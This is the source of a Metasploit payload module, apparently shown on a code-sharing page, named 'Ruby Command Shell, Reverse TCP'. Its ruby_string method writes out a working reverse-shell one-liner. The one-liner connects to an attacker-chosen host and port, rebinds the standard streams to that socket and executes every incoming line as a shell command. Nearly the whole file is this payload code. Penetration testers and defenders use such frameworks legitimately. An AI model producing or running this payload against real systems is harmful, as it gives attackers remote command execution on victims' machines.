Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6

7
module MetasploitModule
8

9
  CachedSize = 516
10

11
  include Msf::Payload::Single
12
  include Msf::Payload::Ruby
13
  include Msf::Sessions::CommandShellOptions
14

15
  def initialize(info = {})
16
    super(merge_info(info,
17
      'Name'        => 'Ruby Command Shell, Reverse TCP',
18
      'Description' => 'Connect back and create a command shell via Ruby',
19
      'Author'      => [ 'kris katterjohn', 'hdm' ],
20
      'License'     => MSF_LICENSE,
21
      'Platform'    => 'ruby',
22
      'Arch'        => ARCH_RUBY,
23
      'Handler'     => Msf::Handler::ReverseTcp,
24
      'Session'     => Msf::Sessions::CommandShell,
25
      'PayloadType' => 'ruby',
26
      'Payload'     => { 'Offsets' => {}, 'Payload' => '' }
27
    ))
28
  end
29

30
  def generate(_opts = {})
31
    return prepends(ruby_string)
32
  end
33

34
  def ruby_string
35
    lhost = datastore['LHOST']
36
    lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
37
    "require 'socket';c=TCPSocket.new(\"#{lhost}\", #{datastore['LPORT'].to_i});" +
38
    "$stdin.reopen(c);$stdout.reopen(c);$stderr.reopen(c);$stdin.each_line{|l|l=l.strip;next if l.length==0;" +
39
    "(IO.popen(l,\"rb\"){|fd| fd.each_line {|o| c.puts(o.strip) }}) rescue nil }"
40
  end
41
end
42

43